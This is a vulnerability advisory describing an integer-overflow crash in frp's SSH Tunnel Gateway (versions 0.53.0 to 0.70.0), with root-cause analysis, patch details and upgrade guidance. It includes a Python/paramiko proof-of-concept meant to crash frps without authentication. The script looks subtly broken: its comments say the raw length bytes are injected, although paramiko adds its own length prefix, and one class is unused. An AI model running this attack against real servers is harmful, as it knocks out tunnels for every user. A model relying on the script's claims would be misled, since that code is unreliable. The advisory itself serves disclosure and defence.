highJul 24, 2026

frp SSH Tunnel Gateway Unauthenticated Remote Denial of Service via Integer Overflow

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A one-packet integer overflow in frp's SSH Tunnel Gateway lets any unauthenticated attacker crash the entire frps process instantly, dropping every active tunnel for every user.

Packagegithub.com/fatedier/frp
Ecosystemgo
Affected>= 0.53.0, <= 0.70.0
Fixed in0.70.1
frp SSH Tunnel Gateway Unauthenticated Remote Denial of Service via Integer Overflow

The problem

The SSH Tunnel Gateway feature in frps (introduced in v0.53.0) parses the four-byte length field of an SSH exec request without overflow protection. Adding the constant 4 to an attacker-supplied uint32 value of 0xFFFFFFFF wraps around to 3, defeating the bounds check and causing a panic on an out-of-range slice.

The handler runs in a bare goroutine with no recover. The panic unwinds to the top of the goroutine and kills the whole frps process, not just the offending connection. Because the default gateway configuration disables SSH client authentication, this crash is reachable pre-authentication with a single five-byte message.

Proof of concept

A working proof-of-concept for this issue in github.com/fatedier/frp, with the exact payload below.

python
# Requires frps >= 0.53.0 with sshTunnelGateway enabled (any port, no authorized-keys file)
# Connect as unauthenticated SSH client, open a session channel, then send one exec request:
# Payload bytes: ff ff ff ff 41  (4-byte length = 0xFFFFFFFF, then one command byte 'A')
#
# Using Python + paramiko to craft the raw channel request:

import socket
import paramiko

class MaliciousTransport(paramiko.Transport):
    pass

target_host = "<frps-host>"
target_port = 2200

sock = socket.create_connection((target_host, target_port))
transport = paramiko.Transport(sock)
transport.start_client()

# No credentials needed - server has NoClientAuth = true by default
transport.auth_none("anyuser")

chan = transport.open_session()
# Send exec request with length field = 0xFFFFFFFF (overflows 4 + 0xFFFFFFFF -> 3)
# Raw payload: b'\xff\xff\xff\xff\x41'
chan.exec_command("\xff\xff\xff\xffA")  # length bytes injected as command prefix

# Server panics immediately:
# panic: runtime error: slice bounds out of range [4:3]
# .../frp/pkg/ssh/server.go:319

The root cause (CWE-190) is in pkg/ssh/server.go. The expression end := 4 + binary.BigEndian.Uint32(req.Payload[:4]) operates entirely in uint32 arithmetic, so 4 + 0xFFFFFFFF wraps to 3. The guard if len(req.Payload) < int(end) then evaluates 5 < 3, which is false, so execution falls through to req.Payload[4:end] which is payload[4:3], an invalid slice that panics.

The patch (commit 7dc7be9, PR #5428, released in v0.70.1) adds an explicit overflow check before computing end, rejecting any length value that would produce a wrapped result. It also ensures the goroutine running handleNewChannel is wrapped with a deferred recover so a future panic cannot take down the whole process.

The fix

Upgrade frps to v0.70.1 or later. The fix is in commit 7dc7be930e2452ae93fd32f2a77f8c6fcd0b652b. If you cannot upgrade immediately, disable the SSH Tunnel Gateway by removing the [sshTunnelGateway] section from your frps.toml. The vulnerability only affects deployments that explicitly enable the gateway; default frps configurations are not affected.

Reporter not attributed.

References: [1][2][3][4][5]

Related research